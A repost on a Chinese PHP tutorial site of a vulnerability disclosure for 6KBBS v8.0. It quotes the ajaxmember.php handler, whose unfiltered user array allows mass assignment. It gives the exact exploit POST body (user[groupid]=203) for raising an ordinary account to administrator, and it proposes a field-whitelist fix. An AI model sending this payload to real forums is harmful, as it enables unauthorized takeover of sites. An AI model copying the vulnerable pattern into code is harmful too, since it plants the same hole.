网站地图    收藏   

主页 > 后端 > 网站安全 >

6KBBS v8.0 普通用户提权漏洞 - 网站安全 - 自学ph

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 简要描述:普通用户提权漏洞,可以提升为管理员权限。详细说明:漏洞分析www.2cto.com ajaxmember.phpcase modifyDetails:$user = $_POST[#39;user#39;];if(getPopedom(5) == 0){$user[#39;usertit......

简要描述:普通用户提权漏洞,可以提升为管理员权限。
详细说明:<漏洞分析>
www.2cto.com ajaxmember.php

case "modifyDetails":
$user = $_POST['user'];
if(getPopedom(5) == 0)
{
$user['usertitle'] = '';
}

if($user["email"] == "")
{
exit("资料不完整。");
}

foreach(explode(",", $cache_settings['reservedkeyword']) as $rkey)
{
if(!empty($rkey) && stristr($user['usertitle'], $rkey))
{
exit("自定义头衔含有禁用关键字");
}
}

$db->row_update("users", $user, "id={$lg['userid']}");
succeedFlag();

break;


user 数组未做任何限制导致用户POST一个user[groupid]=203的字段,row_update就会更新users表的groupid字段,把普通用户的权限更改为管理员。
漏洞证明:<漏洞利用>
1、 注册并登陆一个用户。
2、 向/ajaxmember.php?action=modifyDetails页面post数据
user%5Bgroupid%5D=203&user%5Bemail%5D=aaaa%40aaaa.com
3、重新登录用户,即为管理员权限。

修复方案:在更新之前加上验证语句,只保留允许更新的字段。


作者 insight-labs@乌云

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论